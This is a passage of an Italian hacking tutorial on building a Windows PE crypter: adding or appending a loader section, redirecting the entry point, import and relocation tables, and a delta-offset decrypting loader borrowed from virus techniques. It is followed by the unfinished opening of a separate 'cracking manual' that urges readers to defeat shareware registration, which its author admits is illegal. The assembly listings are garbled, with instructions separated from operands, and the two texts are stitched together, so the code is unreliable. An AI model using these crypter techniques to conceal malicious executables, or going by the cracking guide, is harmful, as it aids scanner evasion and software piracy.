; + SizeOfHeaders
ecco qui un'altra porkeria ;) : questo blocco verifica nel modo piu' semplice
se c'e' abbastanza spazio tra la fine della section table e l'inizio delle
raw section in caso positivo il crypter creara' una nuova section. Se invece
non dovesse essereci spazio optera' per l'append. Ora vediamo in breve in
meccanismo di aggiunta di una section:
sub
mov
inc
esi,IMAGE_SECTION_HEADER_
[lpLoaderSection],esi7
[edi.FileHeader.NumberOfSections]
; add our section
ok.. otteniamo in ESI un puntatore allo spazio non utilizzato che segue
l'ultima section; e quindi incrementiamo il numero di sezioni nell'header
mov
mov
cmp
jle
xchg
@dummy_sz:
add
call
mov
mov
eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualSize]
ebx,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData]
ebx,eax
@dummy_sz
eax,ebx
eax,[(esi-IMAGE_SECTION_HEADER_).SVirtualAddress]
SectionAlign
[ldr_obj_VA],eax
[loader_rva],eax
ora dobbiamo calcolare l'RVA della nostra nuova sezione in memoria, come
vedete il codice utilizza la maggiore quantita' fra la VSize e SizeOfRawData
allineata al section alignment e la somma al VA dell'ultima sezione; il fatto
di utilizzara max(VSize,RawSize) e' quello che io chiamo safe programming..
come dire meglio prevenire che curare ;)
xchg
mov
dword ptr [edi.OptionalHeader.AddressOfEntryPoint],eax
[original_erva],eax
calcolato l'RVA della nostra sezione abbiamo anche l'RVA del nuovo entrypoint,
dato che si presuppone che l'inizio del vostro codice coincida con l'inizio
dei dati nella nuova sezione (in caso contrario dovrete solo sommarci lo
scostamento), quindi lo scriviamo nell'header assicurandoci pero' di salvare
il vecchio entrypoint che servira' poi al loader per restituire il controllo
al programma una volta decrittato
mov
call
mov
mov
call
mov
eax,loader_len
SectionAlign
[ldr_obj_VS],eax
eax,loader_len
FileAlign
[ldr_obj_RWS],eax
quindi calcoliamo la nuova VSize e RawSize
mov
mov
add
xor
mov
div
or
aligned ?
mov
jz
add
xor
@@zpad:
mov
ebx,[(esi-IMAGE_SECTION_HEADER_).PointerToRawData]
eax,[(esi-IMAGE_SECTION_HEADER_).SizeOfRawData]
ebx,eax
edx,edx
ecx,[edi.OptionalHeader.FileAlignment]
ecx
edx,edx
; previus section already file
eax,ebx
short @@no_zpad
ebx,[Image_Base]
cl,cl
byte ptr [ebx],cl
; no cave
inc
dec
jnz
@@no_zpad:
call
mov
ebx
edx
@@zpad
FileAlign
[ldr_obj_RWA], eax
; file align loader section
questo snippet non fa altro che calcolare l'offset in cui dobbiamo scrivere i
nostri dati ovvero dalla fine dei dati precedenti accertandosi pero' che
quest'ultimo offset sia allineato al file alignment e proveddendo allo zeropad
nel caso non lo fosse..
mov
add
call
mov
eax,[ldr_obj_VS]
eax,[edi.OptionalHeader.SizeOfImage]
SectionAlign
[edi.OptionalHeader.SizeOfImage],eax
ora aggiustiamo l'imagesize aggiungendo la vsize della nostra sezione, cosi'
NT non si inkazzera' con noi
call
call
built-in one
RedirectReloc
RedirectIT
; redirect reloc table to our
; redirect IT to loader
eheh questo invece e' un simpatico giochetto che va spiegato:
con queste due call sostituiamo nella data directory gli RVA della import
table e della reloc table in modo che puntino a quelle hardcoded che abbiamo
approntato nel codice del nostro loader. Questa operazione ha diversi
vantaggi:
1) siccome la nostra reloc table e' vuota diciamo al loader di winsoz di non
applicare alcuna relocation in caso ci sia una collisione altrimenti
sarebbe una catastrofe in fase di decrittazione
2) impostando la nuova import table, facciamo in modo che sia windows stesso
a patcharci la nostra IAT e a fornirci gli address delle API di cui
necessitiamo evitandoci di ricorre a metodi piu' o meno euristici (usati in
molti virii) come quello di trovare il base address di kernel32 (che come
noto puo' cambiare con ogni nuova versione ed e' differente in 9x e Nt)
quindi scannare la export table manualmente per ricavare gli address degli
entrypoint di GetProcAddress, LoadLibraryA/W, GetModuleHandleA.
3) in questo modo abbiamo anche alterato l'NT Header e questo ci garantisce
che un eventuale cracker che si accinga ad unpakkare la nostra creatura
dovra' anche ripristinare correttamente gli RVA nella data entry se vorra'
che il programma funzioni
Siccome so che siete attenti,avrete notato che non ho ridiretto l'RVA della
sezione risorse: eheh in effeti questo e' abbastanza semplice come sistema,
e' sufficente harcodare una resource directory nel nostro loader con lo stesso
metodo che abbiamo usato per la IT. In questo modo potremmo ad esempio avere
la possibilita' di visualizzare delle dialog, dei bmp, o al limite sostituire
l'icona del programma con la nostra.
Per far in modo poi che il programma "ritrovi" le sue risorse sara'
sufficiente che reimpostiamo l'RVA originale nell'header (attenzione che
dovrete usare WriteProtectMemory per patchare runtime se non volete un bel
gpf). Ma allora perche'non ho messo il codice per questa features.. semplice..
lo spieghero' nel terzo tutorial quando affronteremo le tecniche antidump..
per ora accontentatevi!.. ho gia' scritto un mezzo romanzo! ;)))
mov
xchg
mov
rep
mov
mov
add
jmp
edi,offset loader_obj
edi,esi
ecx, IMAGE_SECTION_HEADER_
movsb
edi,[ldr_obj_RWA]
ebx,[Image_Base]
edi,ebx
@@write_loader
; edi = offset to loader section
bene ora abbiamo impostato corretamente i dati della sezione non ci resta che
copiarla in coda all'array della sections table, et voila'.. quello che segue
invece e' codice per appendere il nostro loader nell'ultima sezione.
In genere questo metodo e' da preferirsi a quello precedente della nuova
sezione, perche' vi permette di "cammuffare" il fatto che il programma sia
criptato, dato che con un hexeditor o un pe-browser tutto sembrera' normale
ad occhi non esperti. Per ragioni di spazio (e crampi alle dita ;)) saro'
succinto nei commenti anche perche' non c'e' molto da dire se avete letto con
attenzione la parte precente:
mov
mov
lea
mov
xchg
mov
ebx,[esi.SVirtualAddress]
eax,[esi.SizeOfRawData]
ebx,[eax+ebx+4]
; calculate new entrypoint rva
[loader_rva],ebx
dword ptr [edi.OptionalHeader.AddressOfEntryPoint],ebx
[original_erva],ebx
l'RVA del nuovo entrypoint e' sostanzialmente uguale a (RVA sezione precedente
+ RawSize sezione precedente + 4) dove il +4 si spiega con il fatto che ci
garantiamo che ci sia una DWORD nulla tra noi e la fine dei dati originali,
questo perche' con ogni probabilita' quella che modificheremo sara' la .reloc
e quindi dobbiamo mantenere un spazio vuoto che funga da terminatore per i
dati per la relocation
add
call
mov
add
last_obj.VS
mov
eax,loader_len
SectionAlign
[esi.SVirtualSize],eax
eax,[esi.SVirtualAddress]
; imagesize = last_obj.VA +
[edi.OptionalHeader.SizeOfImage],eax
classico direi: aggiustiamo la imagesize come somma dell'RVA dell'ultima
sezione e la nuova VSize ottenuta dall'allineamento della RawSize al section
alignment
mov
and
or
mov
eax,[esi.SFlags]
eax,IMAGE_SCN_MEM_NOT_DISCARDABLE
eax,IMAGE_SCN_MEM_EXECUTE + \
IMAGE_SCN_MEM_READ
+ \
IMAGE_SCN_MEM_WRITE
[esi.SFlags],eax
forziamo i flags writable, readable, executable per essere sicuri di non aver
problemi
mov
lea
call
mov
ebp,[esi.SizeOfRawData]
eax,[ebp+loader_len+4]
FileAlign
[esi.SizeOfRawData],eax
allineamo la rawsize al file alignment
rawdata
reloc)
mov
add
mov
add
xor
stosd
edi,[esi.PointerToRawData]
edi,ebp
ebx,[Image_Base]
edi,ebx
eax,eax
; calc offset to the end of
; last dword = 0 (mark end of
forziamo a zero quel pad di 4byte di cui sopra e quindi ora siamo pronti a
copiare il nostro loader..
Again, non riporto il codice che copia il nostro loader perche' e'
semplicissimo, l'unica nota e' che ho previsto che zeropaddi l'eventuale
cavita' che si crea alla fine del file per via dell'allineamento. Finita la
copia del loader il crypter usa UnmapViewOfFile, CloseHandle per rilasciare
il MMF e chiama SetFilePointer e SetEndOfFile per troncare la dimensione del
file a quella effetivamente necessaria (= ESI calcolato prendendo l'offset
finale in uscita dal blocco di copia allineato al file alignment).
That's All.
Ora invece discuteremo di alcune delle piu' importanti funzioni utilizzate
dal crypter
RedirectIT:
mov
eax,[loader_rva]
; rva of decryptor
add
eax,it_start-ldr_start
; add delta
mov
[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).VirtualAddress],eax
mov
[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_IMPORT).Size],
it_len
add
dword ptr k32_original,eax
; kernel32
add
dword ptr k32_dll,eax
;
add
dword ptr k32_first,eax
;
xor
edx,edx
@@adj_k32iat:
add
[func_k32+edx*4],eax
add
[apiGetProcAddress+edx*4],eax
inc
edx
cmp
edx,size_k32_iat
jnz
short @@adj_k32iat
add
dword ptr u32_original,eax
; user32
add
dword ptr u32_dll,eax
;
add
dword ptr u32_first,eax
;
xor
edx,edx
@@adj_u32iat:
add
[func_u32+edx*4],eax
add
[apiGetProcAddress+edx*4],eax
inc
edx
cmp
edx,size_u32_iat
jnz
short @@adj_u32iat
ret
questa funzione in sostanza riaggiusta gli RVA interni alla IT in modo che
siano coerenti con la posizione (quindi ancora RVA) in cui sara' mappato il
nostro codice. Per comprendere il perche' di queste correzioni bisogna che
analizziamo la struttura della IT. La import table come sapete permette al
loader di reperire le informazioni relative alle funzioni importate da moduli
esterni in modo implicito. Per far questo esso percorre una serie di strutture
nella IT che contengono il nome o l'ordinal (= ID che identifica univocamente
la funzione e relativo alla sua posizione nell'array AddressOfFunctions della
ET) delle funzioni importate ordinate per modulo di appartenenza.. quindi
mappa il modulo nello spazio di indirizzamento del processo (LoadLibrary),
scanna l'ET del modulo (GetProcAddress) per trovare l'address dell'entrypoint
della funzione e quindi patcha la IAT con quest'ultimo.
Ora mi aspetto una vostra domanda del tipo: "ma cos'e' la IAT" ?
Immaginate la Import Address Table come un array di DWORD che contiene gli
indirizzi delle funzioni delle DLL che il programma utilizza. L'esistenza
della IAT e' dovuta al fatto che sia il compilatore, sia il linker non possono
conoscere a priopri l'address a cui verra' caricata la dll e quindi per
consetire al programmatore di utilizzare nel suo codice ad exp.
MessageBoxA devono approntare un meccanismo di indirezione: una chiamata da
un linguaggio ad alto livello a MessageBoxA verra' tradotta dal compilatore e
dal linkere (attraverso una import lib) in una call ad un thunk (normalmente
in fondo alla sezione con il codice .text,CODE",ecc).class"
tppabs="http://utenti.tripod.it/inversa/tutes/%2Cecc%29.class" che si
prensenta cosi':
JMP DWORD PTR [0x12345678]
dove 0x12345678 e' proprio l'indirizzo della DWORD presente nella IAT che a
runtime conterra' l'entrypoint di MessageBoxA. Alternativamente nei
compilatori piu' recenti e' possibile usare il modificatore
__declspec(dllimport)
per specificare che il simbolo esterno e' proprio una funzione esportata da
una dll: questo permette al compilatore di eliminare il thunk e di tradurre la
chiamata in una piu' performante
CALL DWORD PTR [0x12345678]
Come vedete la IAT e' di vitale importanza e come logicamente si puo' intuire
non facilmente ridirezionabile tant'e' che sebbene noi modificiamo l'header in
modo che punti alla nostra IAT, l'RVA in cui andremo a patchare gli indirizzi
restera' quello originale (quest'ultimo punto e' di vitale importanza per
comprendere come sia possibile per un cracker intercettare la IAT originale).
Torniamo alla IT:
questa inizia con un array di strutture IMAGE_IMPORT_DESCRIPTOR:
* OriginalFirstThunk: e' un RVA ad un array di strutture IMAGE_THUNK_DATA che
contengono le informazioni per ogni funzione importata da questo modulo.
La fine dell'array e' segnalato da un elemento IMAGE_THUNK_DATA nullo.
Questo array a differenza di quello a cui punta FirstThunk non e'
patchato dal Loader di Win32. Tuttavia la sua presenza non e' garantita
dato che alcuni linker per ottimizzire (vedi borland) lo omettono per cui
accertatevi sempre che questo RVA sia diverso da zero.
* TimeDateStamp: questo campo ha una duplice funzione a seconda che siano
presenti o meno funzioni bound (= gli address delle funzioni sono
assoluti e gia'patchati dal linker o dall'utility bind (fornita con
l'SDK NT) che assume una determinata imagebase per quel modulo):
- nel caso di funzioni bound avra' valore diverso da zero: se vale
0xFFFFFFFF siamo in presenza di un pre-binding new-style, se invece e'
diverso da 0xFFFFFFFF si tratta di pre-binding old-style
- se invece vale 0 come nella stragrande maggioranza dei casi non ci
sono import bound e non serve a null'altro
* ForwarderChain: altro campo mistico =P indica l'indice nell'array FirstThunk
del primo elemento della forwarders chain, ovvero della lista di funzioni
che sono importate da un modulo in cui a loro volta sono forwarded. Si
come avete intuito e' un bel casino :) cmq non abbiate a preoccuparvi..
sia le funzioni bound che quelle farwarded sono merce estremamente rara e
dubito che ne incontrerete mai salvo decidiate di cryptare moduli di
sistema... pessima idea cmq ;)
* Name: questo RVA punta ad una stringa null-terminated con il nume del modulo
* FirstThunk: questo array e' simile a quello in OriginalFirstThunk con
l'unica differenza che ne e' garantita _sempre_ l'esistenza dato che gli
elementi IMAGE_THUNK_DATA qui contenuti verranno patchati dal loader di
windoz con gli address delle funzioni...come avete capito questo array
e' tristemente =) noto come IAT
nella IT avremo quindi in successione un elemento IMAGE_IMPORT_DESCRIPTOR per
ogni modulo da cui importiamo una o piu' funzioni; l'array e' terminato come
al solito con il classico elemento nullo. Quanto alle import bound e forwarded
non mi addentro oltre in questo argomento perche' non credo che ne troverete
esempi "reali" in quanto entrambi sono meccanismi utilizzati principalmente
per dll di windowz stesso e soprattuto sotto NT. Nel caso vogliate approfondire
vi consiglio l'ottimo documento di B. Luevelsmeyer. Molto piu' importante
invece parlare degli array OriginalFirstThunk e FirstThunk. Come anticipato
entrambi puntano ad due array paralleli di IMAGE_THUNK_DATA: ogni
IMAGE_THUNK_DATA e' costituito da una sola DWORD che rappresenta una RVA ad un
elemento IMAGE_IMPORT_BY_NAME. Ogni IMAGE_IMPORT_BY_NAME e' invece cosi'
dichiarato:
Hint WORD
Name BYTE DUP (?)
Hint rapresenta l'ordinal della funzione ma e' coerente solo se l'elemento
IMAGE_THUNK_DATA che lo punta ha il bit piu alto accesso (usate la mask
IMAGE_IMPORT_BY_ORDINAL).
Name invece e' una stringa null-terminated che riporta il nome della funzione
importata.
Ecco fatto :) .. queste sono tutte le strutture coinvolte nella IT: quindi ora
e' chiaro quale sia la sequenza che il loader segue:
1) legge un IMAGE_IMPORT_DESCRIPTOR -> ricava il nome del modulo ->LoadLibrary
2) legge un elemento IMAGE_THUNK_DATA dell'array FirstThunk (o
OriginalFirstThunk se presente) e ricava il corrispondente elemento
IMAGE_IMPORT_BY_NAME ; contemporaneamente verifica il bit
IMAGE_IMPORT_BY_ORDINAL
3) dalla struct IMAGE_IMPORT_BY_NAME ricava nome/ordinal -> GetProcAddress
4) patcha nell'array FirstThunk (IAT) l'elemento IMAGE_THUNK_DATA corrente
con l'address della funzione costruendo cosi' la IAT
5) ripete la 2) per ogni IMAGE_THUNK_DATA (= funzione importata) finche'
incontra un elemento nullo
6) ripete la 1) per ogni IMAGE_IMPORT_DESCRIPTOR (= modulo "linkato") finche'
incontra un elemento nullo
Se guadardate il codice del nostro loader vedrete che la funzione HandleIT non
fa altro che eseguire queste operazioni.
RedirectReloc:
mov
eax,[loader_rva]
; rva of decryptor
add
eax,NULL_RELOC-ldr_start
; add delta
mov
[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).VirtualAddress],eax
mov
[edi.OptionalHeader.DataDirectory.(IMAGE_DIR_RELOC).Size], 10
ret
Questa funzione e' sostanzialmente gemella della precedente solo che
riaggiusta, e sostituisce nella data directory, l'RVA della nostra relocation
table che come potete constatare dai sorgenti e' vuota (fatto naturale visto
che saremo noi e non il loader di windoz a gestire le relocations). Vediamo
ora la struttura della relocation table perche' una volta che vi sara' chiara
comprenderete il funzionamento della funzione HandleReloc.
La relocations table e' un sequenza di strutture IMAGE_BASE_RELOCATION che
viene utilizzata dal loader per patchare i punti dell'eseguibile in cui si e'
fatto uso di indirizzi assoluti relativi all'imagebse assunta a link-time e
che ,nel caso di rilocazione, non sarebbero piu' validi: immaginate una cosa
tipo MOV EAX,[046707].. come vedete carica un valore dall'address 0x46707..
ma cosa succederebbe se l'imagebase fosse 50000 ?! l'indirizzo 0x46707 non
sarebbe piu' valido e il programma leggerebbe un valore errato o generebbe un
gpf.. e' quindi necessario che il loader calcoli il DELTA (=50000-40000=10000)
e quindi lo sommi all'operando dell'istruzione MOV in modo che tutto torni a
posto.
Ogni IMAGE_BASE_RELOCATION descrive i fixup da applicare per ognuna delle
pagine da 4k (0x1000 = x86 page per chi se ne fosse dimenticato ;) in cui
viene suddivisia l'immagine dell'eseguibile. Come si puo' arguire la
"struttura" IMAGE_BASE_RELOCATION non ha una dimensione fissa ma se ne puo'
conoscere la dimensione attraverso il suo header:
IMAGE_BASE_RELOCATION
RVirtualAddress
SizeOfBlock
TypeOffset
IMAGE_BASE_RELOCATION
DD
DD
DW
0
8
?
STRUC
< header
<
ENDS
SizeOfBlock contiene appunto la dimensione del blocco incluso l'header. Se
vogliamo conoscere quante sono le relocations per questa pagina di eseguibile
dobbiamo quindi fare:
RelocNumber = ('SizeOfBlock'- sizeof(IMAGE_BASE_RELOCATION.header) idiv 2
Il campo RVirtualAddress rappresenta invece l'RVA a cui inizia la pagina in
cui andranno applicati i fixup. Il campo TypeOffset invece e' un array di
WORD, ognuna delle quali specifica 1) nel nibble piu' alto il tipo di
rilocazione 2) nei restanti 12 bit lo scostamento che sommato all'RVA ci da
la posizione in cui applicare il fixup.
Il modo in cui applicheremo i fixup e' determinato dal tipo di rilocazione.
Nei sorgenti e' presente il codice per i 4 tipi che "dovrebbero" presentarsi
in eseguibili per la piattaforma x86 ma come vedete solo il tipo 3
IMAGE_REL_BASED_HIGHLOW e' effettivamente attivo: questo perche' non ho _mai_
trovato un eseguibile che presenti fixup diversi dal tipo 0 (usato solo come
padding per l'allineamento a DWORD) o 3 e non ho informazioni in merito al
l'utilizzo dei tipi 1,2,4. Cmq sia il modo di procedere avendo un fixup tipo
IMAGE_REL_BASED_HIGHLOW e' il seguente: dobbiamo innanzitutto sommare i 12bit
dell'offset all'RVA RVirtualAddress e quindi sommarci l'imagebase corrente,
fatto questo all'indirizzo cosi' ottenunto dovremmo sommare _tutti_ i 32bit
del DELTA. Per i restanti tipi vi rimando ai sorgenti ed alla letture.
Ok, anche con le relocations siamo a posto.. ora vediamo alla risourse
directory anche perche' e' quella che presenta la struttura piu' elaborata.
Innanzitutto va detto che le risorse sono un composte dalle seguenti strutture
organizzate gerarchicamente in un albero:
IMAGE_RESOURCE_DIRECTORY
IMAGE_RESOURCE_DIRECTORY_ENTRY
IMAGE_RESOURCE_DATA_ENTRY
il nodo iniziale e' sempre una struttura
IMAGE_RESOURCE_DIRECTORY i cui campi di nostro interesse sono:
* NumberOfNamedEntries
* NumberOfIdEntries
che indicano rispettivamente il numero di IMAGE_RESOURCE_DIRECTORY_ENTRY che
utilizzano NOMI o ID numerici come identificativi. Per cui ad ogni
IMAGE_RESOURCE_DIRECTORY segue un numero (NumberOfNamedEntries +
NumberOfNamedEntries) di IMAGE_RESOURCE_DIRECTORY_ENTRY che ha invece questa
struttura:
IMAGE_RESOURCE_DIRECTORY_ENTRY
NameID
DD
OffsetToData
DD
IMAGE_RESOURCE_DIRECTORY_ENTRY
STRUCT
?
?
ENDS
Il significato di Name dipende dal bit piu' alto:
se questo vale IMAGE_RESOURCE_NAME_IS_STRING i restanti 31bit sono un offset,
relativo all'inzio delle risorse, ad una struttura IMAGE_RESOURCE_DIR_STRING_U
che in definitiva contiene il nome (in formato UNICODE) della risorsa.. nel
caso il bit non sia settato allora Name rappresenta un ID numerico.
Quest'ultimo nel caso ci troviamo nella root, rappresenta il tipo di risorsa
che troveremo nel ramo corrispispondente (definite con le costanti RT_xxxxx
in imghdr.inc).
Il campo OffsetToData e' anch'esso relativo al valore del MSB: se abbiamo che
e'settata la mask IMAGE_RESOURCE_DATA_IS_DIRECTORY allora i restanti 31 bit
sono un offset, sempre relativo all'inizio delle risorse, ad un'altra
IMAGE_RESOURCE_DIRECTORY che descrive il nodo di livello inferiore, altrimenti
se il bit non e' settato i 31bit sono l'offset ad una struttura
IMAGE_RESOURCE_DATA_ENTRY di cui ci interessano:
* rdOffsetToData: questo e' un RVA al blocco che contine i dati per questa
risorsa
* rdSize: la dimensione del blocco dati della risorsa
Come vedete le strutture assumono un significato diverso a seconda del livello
a cui ci troviamo, ma va detto che in genere non troverete piu' di tre livelli
prima di arrivare ai dati veri e propri di una risorsa:
ROOT
RESOURCE_DIRECTORY : NUM ENTRY 3
|
+----------------------+-----------------------+
|
|
|
RESOURCE_ENTRY
menu
RESOURCE_ENTRY
dialog
|
RESOURCE_ENTRY
icon
|
RESOURCE_DIRECTORY: 3
|
RESOURCE_DIRECTORY: 2
|
+-----+-----+
|
|
RESOURCE_ENTRY RESOURCE_ENTRY
"main"
"popup"
RESOURCE_DIRECTORY: 3
|
+-+----+
|
|
0x10
"maindlg"
|
+-+----+----+
|
|
|
0x100 0x110 0x120
|
DATA_ENTRY
Ok spero che la rappresentazione "grafica" sia chiara... ad ogni modo nei miei
sorgenti ho scento di percorre l'albero delle risorse con una funzione
ricorsiva:
EnumResources:
push
mov
push
push
push
mov
frame
xor
call
ebp
ebp,esp
ebp
offset @@on_r_except
dword ptr fs:[0]
fs:[0],esp
ecx,ecx
EnumResourceDirs,edi,edi,eax,ecx,ecx
;
;
;
;
save safe ESP
our simple handler
save previous frame
establish our SEH
xor
eax,eax
jmp
@@enum_exit
@@on_r_except:
mov
eax,[esp+8]
mov
ebp,[eax+8]
stc
sbb
eax,eax
@@enum_exit:
pop
dword ptr fs:[0]
mov
esp,ebp
pop
ebp
ret
; get ERR structure
; ERR + 8 = safe ESP
; remove SEH frame
questa codice prepara l'attraversamento delle risorse impostando l'adress base
delle risorse, il livello inziale (0) e la callback che verra' invocata ad
ogni nodo (notate che ho impostato un exception frame ..la sfiga e' sempre in
agguato ;))
Ho scelto di utilizzare una callback per avere a disposizione un "engine" di
attraversamento dell'albero delle risorse che mi consentisse di compiere
qualsiasi tipo di operazione sui vari nodi (ad esempio e' possibile rilocare
l'intero tree semplicemente cambiando gli RVA dei data entry mentre lo
attraversiamo) avendo a disposizione le informazioni relative al livello ed al
tipo di nodo in cui ci troviamo. Infatti se guardate i sorgenti la callback
utilizzate per criptare (i.e.ResCryptCallBack) le risorse e' uin grado di
lasciare inalterate le risorse RT_ICON,RT_GROUP_ICON in modo che il programma
possa mostrare la sua icona nell'explorer.
Tutto questo avviene grazie a chiamate ricorsive fra EnumResourceDirs e
EnumResourceEntry che a loro volta chiamano la callback passandogli i dati
relativi al livello in cui ci troviamo nel ramo, il tipo di nodo, ed ogni
informazione utile come la base delle risorse.
Come al solito non riporto i sorgenti..ma credo che la spiegazione sia chiara.
Bene, ora non resta che esaminare il loader. Come e' ovvio il nostro codice
dovra' essere indipendente dalla imagebase altrimenti anche noi avremmo il
problema della rilocazione.. bene la soluzione sta nell'usare il buon vecchio
trucco del delta-offset usato dai tempi immemori del dos e tanto caro a virii
coderz. In questo modo non avremmo piu' riferimenti assoluti ma solo relativi.
e sara' facile calcore l'imagebase a siamo stati mappati con questo semplice
codice facendo riferimento all'RVA del nostro loader:
ldr_start:
pushfd
pushad
call
delta:
pop
sub
mov
imagebase
sub
mov
; save host reg state
delta
; get delta offset
ebp
ebp, (delta - ldr_start)
eax, ebp
; ebp = delta offset
; calculate current
eax, [(loader_rva-ldr_start)+ebp]
[@image_base+ebp],eax
; store for later
a dir il vero potevamo anche usare GetModuleHandle, ma diciamo che cosi' fa
piu scena ;))
rva
mov
edx,[(original_erva-ldr_start)+ebp]
; original entry point
add
mov
edx,eax
[esp+28],edx
; save host ret address
trovata l'imagebase , possiamo anche calcolarci l'entrypoint originale a cui
restituiremo il controllo una volta finito il nostro sporco lavoro
lea
push
push
push
push
mov
eax,[@loader_eHandler+ebp]
esp
ebp
eax
dword ptr fs:[0]
fs:[0],esp
; our hanlder
; save safe ESP
; save delta
; establish a SEH frame
stabiliamo un bel exception frame per ogni eventualita' in modo che il
programma in caso di problemi mostri una MessageBox piu' gentile di quello di
windoz (notate che l'address dell'hander e' calcolato con il solito delta)
xor
next_object:
decryptor table
mov
mov
add
section
mov
cmp
pusha
jz
call
jmp
@@handle_res_d:
lea
xor
call
@@dummy_d:
popa
edx,edx
; read section data from
edi, [@image_base+ebp]
eax, [ebp+(@section_array.section_rva)+edx*8]
; RVA
edi, eax
; imagebase+rva= VA of
ecx, [ebp+(@section_array.section_vsize)+edx*8] ; VSize
eax,[@rsrc_rva+ebp]
short @@handle_res_d
Decrypt
short @@dummy_d
eax,[@ResDecryptCallBack+ebp]
ecx,ecx
EnumResourceDirs,edi,edi,eax,ecx,ecx
quindi il loop che decritta i dati.. che e' perfettamente simmetrico a quello
dell'encryptor.
L'algoritmo di crittazione e' decisamente semplice ma serve a dimostrare che
il meccanismo della rilocazione funziona (se avessimo usato un'encryption
additiva non ci sarebbe bisogno di prendersi cura delle rilocazioni ( A-B = C
anche (A+x)-(B+x) = C).
Una volta decrittati i dati delle sezioni, il nostro loader si occupa di
gestire una eventuale rilocazione ( HandleReloc ), e successivamente la
risoluzione delle imports con il caricamento delle DLL nello spazio di
indirizzamento del programma, e la costruzione della IAT che poi verra'
utilizzata dallo stesso. Eseguite queste operazioni l'immagine dell'eseguibile
e' stata ricostruita in memoria e di conseguenza possiamo restituire il
controllo al codice originale attraverso il canonico jmp eax (l'utilizzo eax
non e' casuale: quando il loader di win9x passa il controllo al programma in
eax c'e' infatti proprio l'address dell'entrypoint, quindi per eviate
problemi e' meglio mimare il comportamento di windowz)
pop
dword ptr fs:[0]
; remove seh frame
add
esp,0Ch
; clean stack
popa
popfd
jmp
; restore host regs
eax
; jump to original entry point
--==[ NOTE FINALI]==---------------------------------------------------------Miii , quando ho iniziato questo tutorial non pensavo credevo che avrei
scritto tanto: e' davvero' lunghetto, per cui se vi siete rotti il cz, e non
l'avete finito di leggere, avete tutta la mia solidarieta' =)
Spero di essere stato chiaro, e abbastanza dettagliato, in modo che anche chi
si avvicina per la prima volta al problema dei pe-crypters possa capirci
qualcosa. Chi invece e' gia' esperto in materia mi auguro abbia apprezzato lo
sforzo di coagulare le informazioni che si possono repire sull'argomento in
tutorial che presenta anche un esempio pratico.
Ok, ora e' il tempo dei greetings (tranquilli saranno brevissimi ;).
Innanzitutto voglio ringraziare +Fravia & +HCU tutta,Stone/UCF,Virogen/PC,
Hyras,Izelion, i membri del 29/a e Ikx per aver messo a dispozione del
pubblico le loro conoscenze/sorgenti fondamento di molte delle mie conoscenze.
Ringraziamenti anche a Matt Pietrek e Andraw Shulman, Jeffey Rithcher.. grazie
di esistere :))
I miei ringraziamenti vanno poi a tutti i memberz di ringzer0 e frequentatori
di #crack-it: along3x, furbet, metalhead,suby,t3x, kry0, e tutti gli altri..
un tnx speciale va a:
Daemon: perche' riesce sempre a farmi sparlare di M$ e VB ;) (..salutami
patrizia!)
Insanity : che pubblichera' questo tute tempestivamente! ;)
Genius : che continua a sperare che finiremo quel benetto api-hooker a r0 ;))
+Malattia: perche' e' un po' che non ci sentiamo.. fatti vivo ammorbato! :)
Neural_Notepad_Noise ;) per essere assolutamente assurdo e per aver fatto da
cavia nei test ;)
Pusillus: per il suo entusiasmo incondizionato verso ringzer0 :)
xAONON : per le brevi ma intense chiaccherate sul PE
Yan-orel: che sta sempre ad ascoltare le mie cazzate ad ore assurde :)
War-lock: perche'..... beh lasciamo stare ahaha ;))))
byz Kill3xx
NOTA BY N0bodY88 = splendido, dico solo questo! Complimenti al mito Kill3xx!
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
=====================================================================
Manuale di Cracking - by S2
=====================================================================
1. Prefazione
Per iniziare vorrei subito dire che tutto quello che segue non e'
assolutamente da prendere sul serio e non e' assolutamente da fare o provare.
Anzi, e' assolutamente illegale, e quindi, se non volete dire "ciao" a un
pulotto che suona al vostro campanello perche' siete diventati pirati
informatici non fatelo.
Bene bene bene... Detto questo un ciao a tutti voi che avete una gran voglia
di fottere tutti quei programmini Shareware del cazzo che dopo trenta giorni
di evaluation non funzionano piu', o quelli che danno possibilita' limitate a
meno che non inseriate la mistica password associata all'user name inserito
ecc... vi siete proprio rotti le balle... vero? Io almeno, confesso che me le
sono rotte, e quindi... aguzzo l'ingegno e inculo tutte quelle softwarehouse
che ti chiedono 20$ per il loro programma. Ma se vi devo dire la verita' non
lo faccio solo per questo, ma anche per un altro motivo: Quando riesco a
mettere insieme tutti i pezzi del puzzle, e vedo sullo schermo del mio bel pc
una finestrella che mi dice "Tnx for registering" mi sento un grande. Perche'
penso di essere uno dei pochi su questa faccia della terra a essere in grado
di farlo, e quindi mi sento un figo. Comunque, quando poi ripenso ai 20$
risparmiati sono ancora piu' felice... Quindi questo manuale non e' da vedere
come un manuale al crackaggio, ma piu' come un manuale della felicita'... che
umorista che sono... io non devo passare tutte queste ore davanti al pc...
poi mi metto a scrivere stronzate del genere... sono proprio fuso... vabbe'...
mi accendo una cicca, va'.
In ogni caso questo non e' un manuale di Assembler, quindi non aspettatevi
particolari sull'asm, quelli li trovate in inglese in giro per Internet, ma
e' una guida al crackaggio. Quello che voglio insegnare non e' come trovare le
password associate agli user name, ma semplicemente come avere l'accesso. Per
riuscire a scoprire la password, avete bisogno di conoscere un sacco di asm e
soprattutto dovete farvi un pacco cosi' di matematica... ma questo e' un altro
file... forse in futuro ve lo scrivero'... Adesso andiamo al sodo e cominciamo:
2. Breve introduzione all'Assembler
Allora. Per crackare un programma bisogna disassemblarlo, cioe' tradurre il
programma .exe o .com in una lista di istruzioni da noi comprensibili, per
poi modificarlo in modo da fargli credere di aver inserito la password
giusta, o che i 30 giorni non sono passati e cosi' via. Siccome per
disassemblare i programmi da crackare si usa il SoftIce, che disassembla i
programmi in Assembler (asm), bisogna sapere questo linguaggio. Voi direte,
"ma non possiamo tradurre il programma in italiano, cosi' lo capiscono
tutti?". E io vi rispondo, ci sto lavorando, ma quando avro' finito lo
